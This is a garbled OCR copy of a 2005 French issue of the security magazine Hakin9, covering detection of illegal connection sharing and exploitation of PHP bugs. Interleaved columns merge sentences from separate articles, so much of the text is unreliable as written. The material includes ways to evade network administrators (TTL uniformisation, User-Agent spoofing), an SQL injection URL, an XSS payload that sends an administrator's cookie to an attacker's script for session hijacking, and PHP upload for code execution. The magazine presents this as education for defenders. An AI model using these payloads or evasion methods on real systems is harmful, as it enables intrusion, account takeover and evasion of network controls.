Hakin9 N3 - 2005 - 10
Hakin9 N3 - 2005 - 10
Hakin9 N3 - 2005 - 10
12
Détecter le partage de connexion illégal
Mariusz Tomaszewski, Maciej Szmit, Marek Gusta
Les personnes qui se connectent illégalement au réseau peu-
vent donner du mauvais sang aux administrateurs et aux four-
nisseurs d'accès Internet. Mais il existe plusieurs méthodes
pour détecter ces pratiques ignobles. Ces méthodes ne sont
pas ni trop compliquées ni fastidieuses. Nous vous montrons
comment les mettre en pratique ou les contourner.
Rédacteur en chef : Roman Polesek
22
hakin9, chapelier fou Recherche et exploitation des bogues
dans le code PHP
Sacha Fuentes
Quand l'un de nos auteur, Sacha Fuentes (Recherche
Les programmes et scripts développés avec PHP, un des
et exploitation des bogues dans le code PHP), nous avertit
langages de programmation les plus utilisés, sont souvent
qu'il ne faut pas faire confiance aux utilisateurs, il a raison.
vulnérables à différentes attaques. Il ne s'agit certes pas
Le facteur humain était toujours le point faible de la sécurité
d'une certaine insécurité au niveau du langage lui-même,
informatique. Tout le monde sait qu'un élément le plus dou-
mais plutôt de l'inexpérience des programmeurs qui com-
teux de chaque système informatique est cette combinaison
mettent souvent des erreurs de conception. Consultez les
des protéines unissant la chaise avec le clavier. Aussi Tobias
vulnérabilités possibles dans le code PHP et apprenez com-
Glemser (Attaques par injection SQL avec PHP et MySQL)
ment les trouver et les exploiter.
essaie de nous présenter les menaces relatives aux don-
nées entrées dans le système sans aucune vérification.
Le problème est que cet élément faible donne le sens
à l'existence des machines à calculer. Si les humains n'avaient
pas existé, il ne serait pas nécessaire d'effectuer les calculs
Attaque
ou d'échanger les informations entre les coins du monde les 30
plus lointains. Indépendamment d'une justification morale Attaques par injection SQL
de ces procédés, sans nous, les tentatives de débloquer le avec PHP et MySQL
code n'auraient pas lieu (Jakub Nowak, Protéger les logiciels Tobias Glemser
Windows contre les pirates informatiques). Les connexions Il existe un certain nombre de techniques communes dont
illégales aux réseaux ne seraient pas pratiquées non plus l'objectif est d'attaquer les environnements PHP/MySQL.
(Détecter le partage de connexion illégal). Il ne faudrait pas Les injections SQL font partie des techniques d'attaques
lutter contre les programmes malicieux tels que les vers sur parmi les plus utilisées. Cette technique consiste à altérer
Internet (Michał Piotrowski, Honeypots – leurre contre les l'état de l'application qui subit l'attaque de manière à accep-
vers) ou suivre les intrus se dissimulant dans les systèmes ter nos données d'entrée capables de manipuler les requê-
(Mariusz Burdach, Méthodes de dissimulation des modules du tes SQL. Voyons comment le faire.
noyau dans Linux). Mais tous ces vices humains n'existent que
depuis la prise de conscience par l'homme de la propriété. 36
Les dispositifs permettant d'intercepter l'émission révéla- Méthodes de dissimulation des modules
trice (Robin Lobel, TEMPEST – émissions compromettantes) du noyau dans Linux
ne diffèrent en rien d'une voisine indiscrète qui nous écoute Mariusz Burdach
à travers le mur, un verre à l'oreille. De même, quelqu'un qui L'insertion d'un rootkit en module dans le noyau est le début
s'introduit la nuit dans le local informatique (Jeremy Martin, de la tâche de l'intrus. Pour rester inaperçu, il faut trouver
Conception de systèmes de sécurité physique) ressemble le moyen de cacher ce code de façon à ne pas éveiller des
à un troglodyte se glissant dans la grotte d'autrui. soupçons. Vous connaîtrez les méthodes permettant de
Le but de la parution de hakin9 est de savoir comment cacher un module quelconque dans le système.
fonctionnent diverses attaques afin de mieux pouvoir s'en
prémunir. Nous tentons d'aborder tous les sujets difficiles, 40
voire gênants. Des fois, nous mettons un chapeau blanc, des TEMPEST – émissions compromettantes
fois – un chapeau noir. Au-delà du côté éthique, toutes ces Robin Lobel
actions – heureusement ou pas – proviennent de la nature TEMPEST est l'art de transformer des émissions involontaires
humaine. Tant que les hommes continueront à intriguer, le en données compromettantes. Cela concerne principalement
jeu « des gendarmes et des voleurs » ne sera pas terminé. les ondes électromagnétiques, mais le principe peut être aussi
bien appliqué à n'importe quel type d'émanations involontai-
Roman Polesek
res induites par le fonctionnement interne d'un périphérique.
[email protected]
L'article présente comment construire une machine qui sait
capturer des émissions venant des moniteurs CRT.
60 04 En abrégé
Protéger les logiciels Windows contre les Les nouvelles du monde de la sécurité des systè-
pirates informatiques mes informatiques.
Jakub Nowak
La travail du développeur qui crée des applications shareware
devient tôt ou tard la proie des pirates informatiques. Il arrive
souvent qu'un crack ou un keygen apparaisse sur le net le
jour de la sortie du logiciel. Il existe cependant les méthodes
Outils
efficaces permettant de protéger le code contre les voleurs.
Vous apprenez à les mettre en pratique.
08 Ant
Un outil performant destiné à envoyer différents
types de paquets réseaux.
68
Conception de systèmes 10 PortSentry
de sécurité physique Un utilitaire de surveillance des ports qui permet de
Jeremy Martin
détecter les tentatives de scannage du système.
Dépenser de l'argent dans la protection de données pouvant
être recréées ne présente aucun intérêt ; que pourrait-il se
passer concrètement ? – des commentaires de ce genre
émanent d'un trop grand nombre de cadres issus des hautes
sphères dirigeantes. Du mauvais emploi de la part de l'em- 78 Feuilleton
ployé à l'espionnage industriel, en passant par les catas-
trophes naturelles, il existe une grande variété de menaces Empreinte du passé
dirigées contre les actifs d'une société. Mais il faut bien Il est grand temps de révolutionner l’envoi du cour-
reconnaître que la sécurité physique constitue la première rier électronique.
ligne de défense d'un système d'information.
Système, ouvre-toi
Les experts de Microsoft ont peur
d'une nouvelle génération de virus
et troyens exploitant les rootkits du
Solaris – le système de la famille SUN informe que ce processus sera
noyau du système.
UNIX produit par SUN Microsystems effectué progressivement – au moins, Les rootkits (cf. les articles de
– sera disponible avec son code tout d'abord, les pilotes seront fournis Mariusz Burdach dans ce numéro
source sous la licence conforme sous forme binaire. et dans le numéro précédent de
au standard open source. C'est Solaris 10, présenté comme le hakin9) sont un ensemble de
programmes permettant d'obtenir
une bonne nouvelle, bien que les plus avancé technologiquement des
les droits d'accès les plus élevés
malicieux considèrent que cette systèmes UNIX, est déjà proposé du système et de s'y dissimuler.
démarche de l'entreprise est une en téléchargement. Vous pouvez le Bien que l'idée provienne des
tentative de décharger leur propres télécharger tout à fait gratuitement, systèmes basés sur UNIX, depuis
programmeurs. après avoir rempli le formulaire la naissance de Windows NT, elle
Selon les affirmations de SUN, le d'enregistrement. Deux types sont est aussi présente dans les systè-
mes de Redmond. Microsoft a des
code source de Solaris 10 (le système disponibles : pour les systèmes
raisons de s'inquiéter – les root-
a eu sa première le 1 février 2005) UltraSPARC et Intel/Opteron. Il kits du noyau deviennent de plus
sera disponible dans sa totalité dans occupe 4 CDs (ou un DVD) et un en plus utilisés parmi les auteurs
la deuxième moitié de l'année, sur Companion Disc optionnel contenant des malwares. On peut admettre
le site http://opensolaris.org. Pour les binaires GNU précompilés. que cela risque d'empirer et que
l'instant, comme preuves d'une bonne Certains peuvent être mécon- ces solutions seront assez fré-
quentes.
volonté de l'entreprise, il est possible tents – CDDL n'est pas GNU GPL,
C'est pourquoi, l'entreprise de
de télécharger les sources de DTrace les sources seront incomplètes... Redmond a conçu un outil spé-
– un excellent outil permettant le tra- Les paranoïaques ajouteront que ce cial baptisé Strider Ghostbuster
çage dynamique du code. ne sont que de belles promesses et qui vérifie les fichiers système de
Autant DTrace que Solaris seront personne ne verra jamais du code. Windows du point de vue de leurs
modifications. S'ils diffèrent des
entièrement disponibles sous la Mais nous espérons que SUN tien-
versions initiales d'installation,
licence CDDL (Common Develop- dra sa promesse. Le produit principal le programme émet une alerte.
ment and Distribution License), de l'entreprise joindra ces cousins Pour l'instant, l'unique solution
approuvée par OSI (Open Source Ini- – Linux et les systèmes de la famille au problème est la réinstallation
tiative), une organisation très impor- BSD. Un choix plus ample ne fera du système (évidemment, après
tante pour les logiciels libres. Pourtant pas de mal. l'archivage des données impor-
tantes).
S
ur le CD joint au magazine, on vous offre fluxbox, légèrement modifié. Il a un aspect agréable, est
hakin9.live (h9l), en version 2.5 – une distribu- parfaitement configuré et ses exigences en matériel sont
tion bootable de Linux qui réunit les outils, une minimes. Enfin, on vous donne la possibilité de démarrer
documentation, des tutoriaux et les suppléments des avec un environnement graphique agréable xfce4 en ver-
articles. sion 4.2 (option de démarrage hakin9 xfce4).
Pour commencer avec hakin9.live, il suffit de démar-
rer l'ordinateur avec le CD. Les options supplémentaires Documentation et tutoriaux
liées au démarrage du CD (choix de langue, résolution, Excepté les conseils de démarrage et le support
désactivation de framebuffer etc.) sont présentées dans hakin9.live, la documentation comporte aussi des tutoriaux
la documentation contenue sur le CD – le fichier help.html avec des exercices pratiques élaborés par nous-mêmes.
(si vous consultez le contenu depuis le h9l démarré, ce Utiliser les tutoriaux implique un travail avec hakin9.live. Ce
fichier se trouve dans home/haking/help.html). principe nous évitera bien de problèmes liés aux différentes
versions des compilateurs, aux fichiers de configurations
Quoi de neuf ? placés ailleurs, ou il nous épargnera encore les soucis
La version 2.5 s'appuie sur Aurox Live 10.1. Le système des options indispensables pour pouvoir démarrer le pro-
fonctionne sous contrôle du noyau 2.6.7, la détection du gramme dans un environnement donné.
matériel a été améliorée et la configuration du réseau La présente version de hakin9.live comporte deux
rendue plus fonctionnelle. Nous avons également unifor- tutoriaux de plus, rajoutés à ceux déjà existants. Le pre-
misé le menu – les programmes sont classés en catégo- mier dont l'auteur est Tobias Glemser – montre comment
ries adéquates ce qui permet un accès plus intuitif aux mener les attaques Injection SQL sur la base MySQL.
applications. Nous allons apprendre à passer habilement les requêtes
Le nouveau hakin9.live comporte beaucoup plus de aux systèmes de forums (en anglais bulletin boards) sur
suppléments – des documents RFC mis à jour, quelques l'exemple de YaBB SE.
livres gratuits en format PDF et HTML, ainsi que des arti- Le deuxième nouveau tutorial traite de l'utilisation des
cles non publiés, en outre Windows Security Penetrated honeypots (sur l'exemple de Honeyd) pour détecter les virus
de Adrian Pastor (en anglais). et désinfecter les ordinateurs de notre réseau. C'est une
La version actuelle de h9l voit apparaître de nou- application pratique du savoir présenté dans l'article Honey-
veaux programmes : pots – leurre contre les vers de Michał Piotrowski. n
Ant est un outil graphique (utilisant la bibliothèque GTK) qui facilite l'analyse
et les tests de sécurité des réseaux et des systèmes informatiques – il permet
de créer et d'envoyer des trames réseau avec les en-têtes des protocoles les
plus courants (IPv4/IPv6, TCP, UDP, ARP, IPX, SPX et autres). Il a gagné au
concours de hakin9 du meilleur front-end pour SendIP – il est disponible sur
hakin9.live.
Démarrage rapide : vous êtes administrateur d'un nante ; elle permet de paramétrer la version du protocole
petit réseau et vous voulez tester la réaction de votre (IPv4 ou IPv6), la longueur de la trame, les drapeaux
routeur aux différentes trames envoyées à partir du (don't fragment et more fragments), la valeur TTL,
réseau local. Mais la préparation manuelle (même le protocole de la couche supérieure (TCP) et l'adresse IP
à l'aide du programme SendIP) de plusieurs types de source et cible. Vous pouvez aussi déterminer la somme
trames ethernet peut être très fastidieuse et il est facile de contrôle IP (le bouton bleu au-dessous), pourtant
de commettre une erreur. Il est donc préférable de se il est recommandé de laisser les valeurs proposées par
servir d'un outil très convivial et quasi automatique, par le programme.
exemple Ant. La dernière étape consiste à ajouter l'en-tête TCP
Vu que le programme est en phase de développement et sa somme de contrôle. Dans cet en-tête, vous pouvez
(pourtant, il est tout à fait opérationnel), avant de l'utiliser, définir le port source et cible, la longueur et, par exemple,
il faut compiler son code source – n'oubliez pas qu'Ant, les bits de contrôle (SYN, FIN, ACK, RST). L'ajout de
pour fonctionner correctement, exige les bibliothèques la somme de contrôle ne doit pas poser de problème.
gtk+, libnet et libpcap. Après le chargement des sources, Une fois la trame préparée, elle peut être envoyée à l'aide
décompactez-les et passez au répertoire ant : de la commande Send.
Autres qualités : Ant permet la création de données
$ tar jxvf ant-0.1.tar.bz2 composées d'un nombre quelconque de trames. L'en-
$ cd ant voi peut être organisé en séries de transmissions :
vous devez entrer leur nombre, les intervalles entre les
Ensuite, tapez la commande : séries et les trames spécifi ques en millisecondes. Les
trames créées peuvent être enregistrées pour un envoi
$ make ultérieur.
$ gksu ant
PortSentry est un utilitaire de surveillance des ports qui permet de détecter les
tentatives de scannage du système. Il intègre des mécanismes permettant de
verrouiller aussi bien le paquet lui-même que l'adresse d'un hôte depuis lequel
des paquets sont envoyés.
Démarrage rapide : Vous soupçonnez quelqu'un • portsentry -atcp – le logiciel écoute sur tous les ports
d'essayer de scanner votre système. Vous voulez au-dessous du numéro du port défini dans la ligne
vous protéger en verrouillant, les paquets suspects ADVANCED _ PORTS _ TCP du fichier portsentry.conf ; cette
qui arrivent et l'adresse IP de l'hôte qui les envoie. méthode est la plus sensible,
Tout d'abord, téléchargez le logiciel depuis la page • portsentry -audp – comme ci-dessus mais concerne
d'accueil de l'éditeur, décompressez-le dans un dos- UDP.
sier choisi et tapez la commande suivante dans le
répertoire PortSentry : Les informations sur toutes les tentatives de scannage
seront enregistrées dans /usr/local/psionic/portsentry/
$ make linux portsentry.history. Grâce au fichier portsentry.ignore
qui se trouve dans le même répertoire, il est possi-
Pour installer l'application, tapez la commande : ble d'ajouter les hôtes qui seront ignorés (non ver-
rouillés).
# make install D'autres possibilités fort utiles : il existe un utilitaire
supplémentaire nommé Logcheck permettant d'en-
Une fois cela fait, PortSentry sera installé par défaut dans voyer les journaux à l'administrateur par SMS ou par
/usr/local/psionic/portsentry. e-mail.
Une fois installé, le logiciel doit être configuré en édi-
tant le fichier portsentry.conf. Dans les lignes TCP _ PORTS Jan Korzeniowski
et UDP _ PORTS, il est possible de définir les ports à sur-
veiller. Rien n'empêche de les changer en 21,22,23,25,110,
par exemple – cela signifie que PortSentry filtrera les
paquets sur les ports des protocoles telnet, SSH, FTP,
SMTP et POP3.
Dans le même fichier, trouvez la ligne #iptables
support for Linux ; vous devez y taper un chemin correct
vers iptables. Finalement, supprimez # de la ligne KILL _
HOSTS _ DENY="ALL: $TARGET$ : DENY" pour que PortSentry
ajoute les hôtes au fichier hosts.deny.
PortSentry peut être démarré par plusieurs moyens. Figure 1. Journaux du logiciel PortSentry
Voici les commandes permettant de filtrer les différents
types de scannage :
L
orsqu'une connexion Internet est trop et essayer de détecter ces situations. Si le contrat
chargée, l'administrateur peut partager avec votre FAI interdit la division de la ligne, celui
la bande passante entre les utilisateurs qui commet ce délit peut être tout simplement
légaux. Alors, vous n'avez pas à vous soucier débranché – évidemment, si vous avez réussi
du fait que quelqu'un offre sa connexion à un à détecter le partage illégal. Mais ces actions res-
voisin (cf. l'Encadré Partage de connexion) semblent plutôt à jouer « aux gendarmes et aux
– cela n'a aucun impact sur la qualité de fonc- voleurs » et ce dernier prend le dessus.
tionnement du réseau. Ce qui reste, c'est le
problème de partage des frais. Valeurs TTL dans les en-têtes
Une question se pose : comment l'adminis- des paquets IP
trateur peut détecter que le réseau est exploité L'en-tête du datagramme IP possède le champ
par des tiers ? Il existe quelques techniques, TTL – durée de vie (en anglais Time To Live)
plus ou moins efficaces. Mais tout dépend du
savoir-faire de la personne qui se raccorde
illégalement au réseau et des techniques Cet article explique...
qu'elle utilisera pour dissimuler ce fait.
La première façon, et en même temps la plus • comment dissimuler le partage illégal de con-
nexion,
raisonnable, de se protéger contre le partage de
• comment détecter le partage non autorisé de
connexion illégal est la division de la ligne. Cette
Bases
notre connexion.
opération garantit que le débit de notre réseau
ne sera pas réduit à cause des utilisateurs non
autorisés, et que l'utilisation de la bande pas-
Ce qu'il faut savoir...
sante affectée ne dépendra pas du client. • utiliser le système Linux,
Si la limitation de la bande passante ou • connaître le modèle ISO/OSI,
du transfert ne vous satisfait pas et si vous ne • au moins les notions de base des protocoles
souhaitez pas que la ligne soit partagée, vous TCP/IP.
pouvez analyser le trafic dans votre réseau
tcpdump écoutant sur la passerelle dans les paquets ayant la même misation de la valeur TTL sur tous les
Internet est capable d'intercepter adresse IP. Mais cette situation n'a ordinateurs est la seule méthode de
et de démasquer ces paquets. pas toujours lieu – dans un réseau se dissimuler devant l'administrateur.
Cette situation est présentée sur LAN illégal, les utilisateurs peuvent Si c'est Linux avec NAT configuré qui
la Figure 3 – on peut remarquer que utiliser une seule version du système joue le rôle de la passerelle Internet,
les valeurs du champ TTL dans les d'exploitation, par exemple Windows la situation est beaucoup plus facile.
paquets à l'adresse IP 10.10.11.95 2000 ou Linux. Bien que le réseau Il suffit – à l'aide du correctif pour le
qui apparaissent sont non standards soit différencié et plusieurs systè- filtre des paquets iptables portant le
(127 et 63). La deuxième chose mes d'exploitation soient lancés, les nom patch-o-matic – de configurer le
bizarre est le fait qu'un ordinateur personnes malintentionnées peuvent système de façon à ce que chaque
génère les paquets dont les valeurs uniformiser les valeurs TTL sur tous paquet sortant ait une valeur TTL
des champs TTL sont différentes. les ordinateurs indépendamment du unique et déterminée. Dans ce cas,
Cela prouve que l'ordinateur portant type de système (cf. l'Encadré Modi- la personne qui effectue le partage
l'adresse 10.10.11.95 partage la con- fication des valeurs TTL par défaut). de la connexion, ne s'intéresse pas
nexion entre les utilisateurs exploi- Au cas où l'accès à la connexion aux systèmes d'exploitation utili-
tant les systèmes Windows et Linux. se fait à travers un système Windows sés dans le réseau illégal car tous
avec la fonction ICS activée, l'unifor- les paquets après le passage via
Valeurs du TTL par
défaut dans Windows
et Linux
La méthode basée sur la vérification
de la valeur du TTL dans les pa-
quets IP peut s'avérer peu efficace.
C'est parce que dans les systèmes
Windows et Linux, il est possible
de modifier la valeur standard de
la durée de vie des paquets. Si les
utilisateurs de la connexion partagée
Bases
la transmission IP, le datagramme IP table de routage une ligne fausse ICMP echo request apparaissent
arrive à la fin à la passerelle, c'est-à- déterminant qu'un paquet IP envoyé dans le réseau : l'un envoyé à partir
dire, à l'ordinateur connecté directe- à un certain réseau doit être transféré de l'ordinateur de l'administrateur
ment au réseau externe. à l'adresse IP indiquée que nous à l'ordinateur suspect, et le second
trouvons suspecte : envoyé par le routeur illégal.
Jeu du téléphone Toute cette expérimentation se
Une autre manière de détecter la # route add -net 20.20.20.0/24 \ réduit à lancer sur l'ordinateur de
connexion illégale consiste à vérifier gw 10.10.11.95 eth0 l'administrateur (ou mieux encore,
Identification des
navigateurs Web
Chaque navigateur Web lancé dans le
système envoie l'en-tête HTTP dans
la requête demandant le chargement
d'une page adressée au serveur
Web. Cet en-tête contient le champ
User-Agent informant sur le type de
navigateur et la version du système
sur lequel celui-ci est lancé (Figure 4).
Nous pouvons exploiter ce fait pour
détecter le partage de connexion illé-
gal, d'autant plus quand les utilisateurs
illégaux ont différents types et version
des navigateurs tournant sous diffé-
Figure 4. Le champ User-Agent dans l'en-tête HTTP rents systèmes d'exploitation.
sur la passerelle à Internet), sur une à trouver le sous-réseau, le paquet Le test détectant la connexion
console, le sniffeur tcpdump : sera transféré à l'adresse définie. illégale consiste à analyser les pa-
Si l'ordinateur portant l'adresse quets interceptés dans le réseau.
# tcpdump -n -i eth0 déterminée est disponible dans le Il faut chercher les paquets qui ont
sous-réseau, il nous répondra par le été envoyés à partir d'une seule
et sur la deuxième console, à exécu- paquet ICMP echo reply. Dans le cas adresse source (passerelle illé-
ter la commande ping : contraire, nous recevrons le message gale). Si ces paquets contiennent le
d'erreur informant que l'hôte donné champ User-Agent informant que les
# ping 20.20.20.20 est inaccessible (icmp host unrea- versions des navigateurs et des sys-
chable). Le mécanisme fonctionnera tèmes d'exploitation sont différentes,
Si l'ordinateur portant une adresse IP jusqu'à ce que l'administrateur du la situation est suspecte.
donnée fonctionne comme routeur, réseau illégal ne démarre sur le rou- La situation plus suspecte a lieu
deux paquets IMCP echo request teur illégal le filtre de paquets de type quand le champ User-Agent affiche
devraient apparaître :
00:59:47:270862 10.10.11.2 §
> 20.20.20.20: icmp: echo request
00:59:47:271276 10.10.11.2 §
> 20.20.20.20: icmp: echo request
Modification de la valeur
du champ User-Agent
Figure 7. La modification de l'identification du navigateur Internet Explorer En cas des navigateurs Mozilla (pour
Windows), l'extension User Agent
Switcher ajoutant au programme le
menu qui permet de modifier l'identi-
fication du navigateur, est disponible.
Cette extension implémente la fonc-
tionnalité similaire qu'Identification
Figure 8. L'identification d'IE après les modifications effectuées
du navigateur disponible dans Opera.
différentes versions des systèmes présente les paquets qui doivent attirer Elle permet de configurer la liste des
d'exploitation. Utiliser simultanément l'attention de l'administrateur. agents affichés dans le menu et de les
deux systèmes d'exploitation se ser- Sur la Figure 5, nous pouvons choisir selon les besoins (Figure 6).
vant d'une seule adresse IP est plutôt remarquer deux requêtes de charge- En cas des navigateurs Internet
impossible (si l'on exclue l'utilisation ment de la page http://www.onet.pl/, Explorer, il faut modifier la branche
des programmes permettant de lancer envoyées à partir d'une seule adresse du registre système HKEY _ LOCAL _
les machines virtuelles, comme VMva- 10.10.11.95. Grâce à ces requêtes MACHINE\SOFTWARE\Microsoft\Windows\
re ou Microsoft Virtual PC), par contre nous voyons que deux navigateurs CurrentVersion\Internet Settings\
plusieurs navigateurs dans un sys- (MSIE 6.0 et Mozilla Firebird) ont été 5.0. Il faut y créer la clé User Agent (si
tème – tout à fait possible. La Figure 5 démarrés sur deux systèmes d'exploi- celle-ci n'y est pas). La saisie de la va-
leur par défaut remplacera la chaîne
Bases
informations supplémentaires pour du champ User-Agent pour toutes valeurs caractéristiques des champs
le champ User-Agent. Il faut les ajou- les connexions Web sortantes. Pour fixés dans les en-têtes des proto-
ter comme noms des chaînes sans cela, il faut changer la ligne : coles IP et TCP. Les programmes
valeur, p. ex. information supplémen- qui effectuent l'analyse passive des
taire = "". Les exemples des modifica- -hide-user-agent \ piles TCP/IP, examinent les champs
tions dans le registre sont présentés suivants dans l'en-tête IP :
sur la Figure 7. par exemple, contre celle-ci :
En accédant à la page http:// • la durée de vie du paquet (TTL),
hitgate.gemius.pl:9170/ua.html, nous +hide-user-agent{Mozilla/4.0 § • le champ ID (identification),
pouvons vérifier comment notre na- (compatible; MSIE 6.0; § • les paramètres des bits TOS (en
vigateur se présente. Il est aussi pos- Windows NT 5.0; §\ anglais Type Of Service),
sible d'utiliser cet URL pour vérifier le .NET CLR 1.1.4322)} \ • les paramètres du bit ne pas
champ User-Agent après les modifica- fragmenter (en anglais don’t frag-
tions dans le registre. Par exemple, Détection passive d'un ment).
si quatre premières valeurs du User- système d'exploitation
Agent sont modifiées, le navigateur Encore une autre méthode permet- Par contre, dans l'en-tête TCP, les
sera reconnu comme Netscape 6.0 tant de détecter les réseaux illégaux champs suivants sont vérifiés :
lancé sous Linux (Figure 8). est la détection de différentes ver-
sions des systèmes d'exploitation • la taille de la fenêtre (en anglais
Utiliser le serveur proxy utilisant en même temps une seule Window Size),
pour uniformiser le champ adresse IP. L'identification passive • la taille maximale du segment (en
User-Agent est une méthode dans laquelle anglais Maximum Segment Size),
La façon plus simple de dissimuler aucun paquet de test n'est envoyé • l'option d'accusé sélectif (en
les informations sur les navigateurs à la machine cible (cf. l'article de anglais Selective Acknowledge-
est de se servir du serveur proxy Michał Wojciechowski OS finger- ment),
Web pour le système Linux, comme printing – comment ne pas se faire • l'option NOP (en anglais No Ope-
par exemple privoxy. Il faut l'installer reconnaître, hakin9 4/2004). ration).
sur la passerelle illégale et instruire La base du fonctionnement de
les utilisateurs de configurer leurs cette méthode est l'analyse de la L'un des outils destinés au finger-
navigateurs de manière à ce qu'ils pile TCP/IP de l'ordinateur à partir printing passif est le programme
emploient le serveur proxy. Le pro- des paquets générés par l'ordinateur p0f. Il peut être téléchargé à partir
gramme peut être téléchargé à partir en question, après leur interception du site http://lcamtuf.coredump.cx/
du site http://www.privoxy.org/. à l'aide du sniffing. La notion d'analy- p0f.shtml. Dans le système Windows,
Une fois le programme installé, il se de la pile signifie la détermination pour fonctionner correctement, le
faut effectuer deux modifications dans du type et de la version du système programme exige la bibliothèque
les fichiers config et default.action. d'exploitation à partir des différences Winpcap installée.
Dans le premier fichier, il faut déter- dans les implémentations des piles Le programme est capable
miner sur quelle interface le serveur TCP/IP utilisés par différents éditeurs d'identifier le système d'exploitation
doit écouter les connexions des uti- des systèmes d'exploitation. Bien fonctionnant sur les hôtes à partir
lisateurs. Nous devons aussi définir que les principes de construction des paquets IP avec les drapeaux
l'adresse IP et le port affecté à l'inter- des piles TCP/IP soient exactement TCP suivants :
face extérieure, c'est-à-dire celle du définis dans les documents RFC, les
côté du réseau LAN illégal (Figure 9). implémentations des systèmes d'ex- • SYN,
Par contre, dans le fichier ploitation spécifiques diffèrent entre • SYN et ACK,
default.action, il faut définir le contenu elles. Cela concerne avant tout les • RST.
• p0f.fp,
• p0fa.fp,
Figure 10. Les résultats de la détection passive • p0fr.fp.
Windows,
d'exploitation de l'intermédiaire. • http://www.netfilter.org/patch-o-matic/index.html – la description des corrections
d'iptables,
Travail de Sisyphe • http://winpcap.polito.it/install/default.htm – la bibliothèque Winpcap,
Il existe plusieurs méthodes de • http://lcamtuf.coredump.cx/p0f.shtml – le site du programme p0f,
détecter le partage de connexion • http://netfilter.org – le projet Netfilter,
illégale et de rendre la vie des admi- • http://www.0xdecafbad.com/TCP-Timestamping-Obtaining-System-Uptime-
nistrateurs de tels réseaux plus dif- Remotely.html – les informations sur la réception distante d'uptime du système.
ficile (cf. l'Encadré Autres méthodes
P
HP est un langage de scripts qui s'exé-
cute côté serveur, doté d'une syntaxe Cet article explique...
issue des langages C, Perl et Java,
permettant la génération dynamique de pages • vous apprendrez à reconnaître les formes les
Web. Des millions de sites à travers le monde plus communes des attaques dites par valida-
entier mettent en œuvre ce langage et de nom- tion d'entrée (en anglais input validation),
• vous saurez reconnaître les erreurs de con-
breux projets écrits en PHP sont consultables
ception les plus répandues dans les scripts
à partir de bases de données libres comme
PHP.
chez SourceForge (http://sourceforge.net).
La simplicité d'utilisation ainsi que le nom-
bre considérable de bibliothèques accessibles
Ce qu'il faut savoir...
à partir de PHP permet à quiconque, connais- • vous devriez connaître idéalement le langage
sant un minimum ce langage, d'écrire et d'éditer PHP.
des applications complexes. Dans de nombreux
cas, ces applications ne sont malheureusement
pas toujours bien conçues et ne fournissent pas
la sécurité nécessaire pour un site grand public. À propos de l'auteur
Sacha Fuentes travaille dans le secteur des Tech-
À la lumière de ce phénomène, nous allons
nologies de l'Information depuis ces sept dernières
évoquer les erreurs de sécurité parmi les plus
Bases
<?php
Listing 2. Corps d'une page principale wiki
echo $var;
?> function QWTIndexFormatBody()
{
// Output the body
produira en sortie l'élément suivant :
global $QW;
return QWFormatQwikiFile( $QW['pagePath'] );
MYINPUT }
Injections SQL
On peut rencontrer une certaine
vulnérabilité aux injections SQL (voir
à ce sujet l'article de Tobias Glemser
intitulé Attaques par injections SQL
avec PHP et MySQL dans la pré-
sente édition du magazine hakin9)
Figure 4. Fichier invalide téléchargé vers le serveur de Coppermine lorsqu'un utilisateur a la possibilité
de modifier une requête SQL exécu-
tée à son avantage. À titre de court
exemple, nous observons une fois de
plus l'application phpGiftReg. Le co-
de présent dans le fichier index.php
est exposé dans le Listing 7.
Ces lignes ont pour objectif
d'exécuter l'instruction SQL si le pa-
ramètre de l'action est égal à ack, re-
Figure 5. Attaque réussie d'un fichier envoyé vers le serveur connaissant ainsi le message indiqué
dans un paramètre appelé messageid.
Il est possible de contrôler le para-
Listing 8. Script du fichier useradmin.php mètre messageid, et rien n'est plus
switch( $flag ) {
simple. En effet, il suffit de modifier
case "changepw": une requête afin de régler le champ
changePW($flag); isread pour toutes les rangées de la
break; façon suivante : http://example.com/
case "updatepw":
phpgiftreg/index.php?action=ack&m
updatePassword();
changePW($flag);
essageid=2%20OR%201%3d1. Une
break; fois réglé, ce paramètre exécutera la
[...] requête UPDATE messages SET isread
function updatePassword() = 1 WHERE messageid = 2 OR 1=1, en
{
réglant de manière effective isread
global $HTTP_POST_VARS, $HTTP_SESSION_VARS;
$pw = $HTTP_POST_VARS['pw'];
à 1 dans l'ensemble des registres,
$id = $HTTP_POST_VARS['id']; puisque la clause WHERE sera vraie
[...] pour l'ensemble des enregistrements
$sql = "UPDATE " . DB_TABLE_PREFIX . (en effet, 1=1 est toujours vraie).
"users SET password='$pw' WHERE uid='$id'";
$result = mysql_query($sql) or die(mysql_error());
$HTTP_SESSION_VARS['authdata']['password'] = $pw; Téléchargement
}
de fichiers PHP vers
le serveur
cookie.php?§ vers notre script tout en passant la PHP permet de télécharger des
cookie=" + document.cookie;</script> valeur actuelle de son cookie. Nous fichiers vers le serveur. Ce procédé
obtiendrons ainsi le cookie qui nous est en général utilisé dans le but d'in-
Lorsque l'administrateur ouvre cet intéresse dans le fichier cookies.txt. sérer une image n'importe où dans le
événement, notre script injecté sera Il est alors possible d'utiliser ce coo- site ou de partager des fichiers entre
alors exécuté, redirigeant l'utilisateur kie pour ouvrir une session adminis- différents utilisateurs. Toutefois, que
se passerait-il si nous téléchargions
une autre sorte de fichier sous forme
Sur le réseau : de scripts PHP ? Nous aurions la
• http://www.qwikiwiki.com/ – le projet QwikiWiki, possibilité d'exécuter un code arbi-
• http://phpgiftreg.sourceforge.net/ – l'application phpGiftRegistry, traire dans le serveur, nous permet-
• http://www.ikemcg.com/scripts/pec/ – l'application PHP Event Calendar, tant ainsi de contrôler ce dernier.
• http://coppermine.sourceforge.net/ – la galerie d'images Coppermine. Lorsqu'un fichier est téléchargé
vers le serveur, il est possible de
U
n grand nombre de sites Web font ap- la version complète est présente sur hakin9.live).
pel à PHP allié à une base de données Ce script fait appel à une seule base de données
MySQL. La plupart des systèmes de fo- sous MySQL appelée userdb dotée d'une seule
rum (en anglais bulletin board systems) tels que table appelée userlist. Cette table userlist stocke
phpBB ou VBB, se fonde sur cette combinaison les données en deux rangées : username (nom
de technologies, pour ne nommer que les plus de l'utilisateur) et password (mot de passe).
populaires. Il en va de même pour les systèmes Si aucun nom d'utilisateur n'est entré, le
